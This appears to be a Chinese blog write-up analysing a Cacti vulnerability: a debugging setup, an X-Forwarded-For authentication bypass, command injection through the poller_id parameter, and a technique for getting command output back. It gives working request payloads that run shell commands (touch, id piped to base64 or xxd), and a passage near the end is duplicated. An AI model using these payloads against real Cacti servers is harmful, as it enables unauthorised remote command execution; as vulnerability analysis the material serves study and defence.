当前位置: 首页 > news >正文

cacti的命令执行和回显

环境

Docker环境安装

可直接在docker-compose.yml添加代理

 environment:- HTTP_PROXY=http://your-proxy-ip:port- HTTPS_PROXY=http://your-proxy-ip:port- NO_PROXY=localhost,127.0.0.1,db

首先在linux中安装docker和dev扩展进入docker环境中,然后进入docker的bash中

docker中直接执行 # 2. 安装指定版本的 xdebug
pecl install xdebug-3.1.6# 3. 启用 xdebug 扩展
docker-php-ext-enable xdebug# 4. 重启容器
exit
docker restart <your-container> 3.1.6是php7.4 对应的debug 编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini,添加如下内容:zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

docker容器中安装扩展debug和intelephense

最后重启docker容器,即可进行调试

在这里插入图片描述

触发

在这里插入图片描述

payload:

?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
X-Forwarded-For: 127.0.0.1

在这里插入图片描述

分析

if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}set_default_action();switch (get_request_var('action')) {case 'polldata':// Only let realtime polling run for a short timeini_set('max_execution_time', read_config_option('script_timeout'));debug('Start: Poling Data for Realtime');poll_for_data();

首先,利用点在可控参数action,并且进入polldata的poll_for_data()里面。那么就先需要绕过前面的鉴权

因此分为两部分:

  1. 绕过权限

  2. 命令执行

1.绕过权限

首先 进入鉴权函数remote_client_authorized()

在这里插入图片描述

然后再进入赋值,获取ip的函数get_client_addr

在这里插入图片描述

发现循环读取了数组内的IP地址,有HTTP_X_FORWARDED_FOR,但可以伪造成功的主要原因是最后的break 2,直接跳出了2层循环,也就是当读取到了第一个IP后直接结束循环了。

在这里插入图片描述

可以看出前面都为空,当循环到了HTTP_X_FORWARDED_FOR获取到了数据包中的X-Forwarded-For: 127.0.0.1

返回继续往下走

在这里插入图片描述

走到这里gethostbyaddr — 获取指定 IP 地址对应的 Internet 主机名

此时client_addr = 127.0.0.1 client_name = localhost

显然不相等,进入过滤

在这里插入图片描述

.分割去了第一个值,比如192.168.0.1,分为 192 168 0 1,取了192

但对于localhost来说没有什么用,直接返回localhost

在这里插入图片描述

这里执行一个sql语句,查询出一个数组,其中的hostname = localhost

在这里插入图片描述

在这里进行比较,二者都是localhost,返回true

至此权限通过

2.命令执行

进入poll_for_data()

在这里插入图片描述

获取3个值,前两个传入1 6,过滤就不再看了,看命令的过滤

在这里插入图片描述

就是判断这个数组里面是否有传入的值,有就返回数组里的,没有就返回GET传入的

在这里插入图片描述

对传入的local_data_ids数组里面的值进行循环,传入了一个[0]=6,也就是此时local_data_id=6,再次判断是否有效

在这里插入图片描述

如果不是数字且非空就返回报错,这里数字当然符合,继续向下,查询了两个语句

select * from poller \G;
*************************** 6. row ***************************local_data_id: 6poller_id: 1host_id: 1action: 2present: 1last_updated: 2025-07-25 15:26:37hostname: localhostsnmp_community: publicsnmp_version: 0snmp_username: snmp_password: snmp_auth_protocol: 
snmp_priv_passphrase: snmp_priv_protocol: snmp_context: snmp_engine_id: snmp_port: 161snmp_timeout: 500rrd_name: uptimerrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrdrrd_num: 1rrd_step: 300rrd_next_step: 0arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptimearg2: arg3: 

在数据库中查看下这个表,有6组数据,其中只有 local_data_id = 6 的action = 2,其他都为1

最终这两组语句,一个是这个row6,一个是1

在这里插入图片描述

进入这里判断item[’action‘]的值为2

在这里插入图片描述

进入这个分支中,出现了命令执行函数proc_open

proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
  • read_config_option('path_php_binary'),它从配置中读取 PHP 二进制文件的路径。通常,这可能会返回 PHP 的可执行文件的路径,如 /usr/bin/php

  • -q 是 PHP 的一个命令行选项,表示在执行 PHP 脚本时不输出任何不必要的 HTML 或额外信息。通常用于在命令行中执行 PHP 脚本时关闭默认的输出,例如 PHP 标准的页面输出等。

  • $config['base_path'] . '/script_server.php'

这部分代码构建了要执行的 PHP 脚本的路径。$config['base_path'] 是配置文件中定义的基本路径,通常它指向应用程序的根目录。

假设 $config['base_path']/var/www/html,那么最终的路径就是:

/var/www/html/script_server.php
  • realtime 是传递给 script_server.php 脚本的一个参数。

  • poller_id是传递给 script_server.php 脚本的另一个参数。

  • $cactides$pipesproc_open() 函数的输出参数。

    • $pipes 是一个数组,包含标准输入、输出和错误流的管道。你可以使用这些管道与进程交互。
    • $cactides 可能是用来存储进程的返回值或其他信息,但它在代码中未明确使用,因此可能是一个预留的变量,用于后续处理。
  • script_server.php实现了一个服务器脚本,通过从标准输入读取指令并执行相应的功能。这个脚本能够根据不同的输入执行特定的操作,并处理来自外部传入的函数名、文件、参数等。

    • 这里不确定是直接在proc_open()执行的,还是作为参数传入script_server.php中执行的,做了一下实验

    • //script_server.php<?php
      print_r($argv);//test.php<?php
      $cmd = '/usr/bin/php -q /var/www/html/script_server.php realtime `id`';
      echo "Running: $cmd\n";
      $descriptorspec = [0 => ["pipe", "r"], // stdin1 => ["pipe", "w"], // stdout2 => ["pipe", "w"], // stderr
      ];$process = proc_open($cmd, $descriptorspec, $pipes);if (is_resource($process)) {echo "Output:\n";while ($line = fgets($pipes[1])) {echo $line;}fclose($pipes[1]);proc_close($process);
      }Running: /usr/bin/php -q /var/www/html/script_server.php realtime `id` Output: Array ( [0] => /var/www/html/script_server.php [1] => realtime [2] => uid=33(www-data) [3] => gid=33(www-data) [4] => groups=33(www-data) )
      

      由结果可以看出,传入script_server.php的参数是执行后的结果,那么执行自然是在这之前,也就是proc_open()proc_open() 默认使用 /bin/sh -c 方式执行命令;

回显

命令执行成功了,但是没有回显

继续往下看,有个对于$output的赋值,调用了exec_poll_php

在这里插入图片描述

看看会返回什么值
在这里插入图片描述

也就是继续读取管道里面的值,8192字节,最后返回输出
在这里插入图片描述

为什么要这要做,最终生成这样的东西,主要是绕过这里

1.十进制

2.16进制

3.有:!且空格数量为0

4.空格数量+1==:!其中一个的数量
在这里插入图片描述

payload:

|echo "test\r\n`id | xxd -p -c 1|awk '{printf \"%s \", $0}'`";
|echo "test\r\n:`id | base64 -w0`";
|echo "test\r\n:`id | base64 -w0|awk -v ORS=':' '{print $0}'`";

在这里插入图片描述

第2.3个payload都是满足条件3

成功回显base64编码,解码即可

补充

echo的内容中没有test,是没问题的

在这里插入图片描述

但是,如果没有\r\n会卡住,分析下原因

关键点:回显的数据需要满足 Cacti 的 socket 协议格式

Cacti 的 script_server.php(你前面贴的完整源码)中明确要求:

✅ 回显数据是 一行一结果,以换行符为结尾读取

看看这个逻辑:

$input_string = fgets(STDIN, 1024);  // <- 一次读取一行(直到 \n)

同样地,script_server.php 读入命令的 stdout 时,用的是:

$output = fgets($pipes[1], 1024);

即:

  • 它只会读取第一行(遇到 \n 停),后面不会继续读
  • 如果你的命令没有输出 \n,那这部分就可能卡在等输出,或者读不到数据

✅ 所以 \r\n 是回显的协议边界

这是 Cacti 的脚本服务(script_server.php)与调用进程之间的**“通信协议”,以行为单位**。

如果你返回的数据中不包含 \n,PHP 就不会:

  • 正确读取你的输出
  • 或者会丢失你后面的回显内容(被视为没结束)

🔬 举个具体的例子:

❌ 不带 \r\n 的输出:
echo "test:`id | base64 -w0`"

输出示例:

test:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=

→ 可能被脚本忽略,因为没有 \n,PHP 端一直卡在读。


✅ 带 \r\n 的:
echo -e "test\r\n:`id | base64 -w0`"

输出:

test
:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=

→ 第一行读到 test,第二行读到 :base64内容,成功完成协议。


🔒 为什么要用 \r\n(而不是只是 \n)?

虽然 fgets() 是以 \n 为结束符,但:

  • Cacti 是跨平台项目,Windows 下换行是 \r\n
  • 某些版本或模块明确使用 \r\n 作为行分隔符(特别是 HTTP/SMTP/Telnet 风格协议)
  • 所以更保险写法是:echo -e "line1\r\n:line2"
    \r\n:id | base64 -w0"

输出:

test
:dWlkPTMzKCh3d3ctZGF0YSkpIGdpZD0zMyh3d3ctZGF0YSk=


→ 第一行读到 `test`,第二行读到 `:base64内容`,成功完成协议。------### 🔒 为什么要用 `\r\n`(而不是只是 `\n`)?虽然 `fgets()` 是以 `\n` 为结束符,但:- **Cacti 是跨平台项目**,Windows 下换行是 `\r\n`
- 某些版本或模块明确**使用 `\r\n` 作为行分隔符(特别是 HTTP/SMTP/Telnet 风格协议)**
- 所以更保险写法是:`echo -e "line1\r\n:line2"`
http://www.dtcms.com/a/299642.html

相关文章:

  • 八股文整理——计算机网络
  • 【数据结构】队列和栈练习
  • HTTPS的基本理解以及加密流程
  • Nestjs框架: 基于Mongodb的多租户功能集成和优化
  • 顶顶通呼叫中心系统之创建与注册分机
  • 矩阵乘法计算
  • 安德鲁·卡帕西:深入探索像ChatGPT这样的大语言模型
  • 免费 PDF 转 Word 工具:无水印 / 支持批量转换,本地运行更安全【附工具下载】
  • Ubuntu系统 系统盘和数据盘扩容具体操作
  • 【第二章-数据的表示和运算】
  • vulhub Web Machine(N7)靶场攻略
  • 详解力扣高频SQL50题之1193. 每月交易 I【简单】
  • 数据恢复与备份
  • RS485转Profinet网关配置指南:高效启动JRT激光测距传感器测量模式
  • SpringMVC相关基础知识
  • HTML5 Canvas 绘制圆弧效果
  • Centos安装HAProxy搭建Mysql高可用集群负载均衡
  • 力扣112. 路径总和
  • 面试150 回文数
  • React状态管理——Dva
  • React入门指南——指北指南(第二节)
  • LeetCode——面试题 05.01 插入
  • Vue3组件通信方法清单
  • Linux——线程互斥
  • 云计算技术之docker build构建错误
  • Spring循环依赖以及三个级别缓存
  • Zama+OpenZeppelin:将机密智能合约带入 DeFi 和数字资产领域
  • ClickHouse高性能实时分析数据库-高性能的模式设计
  • JavaScript中.splice()的用法
  • Vue 插槽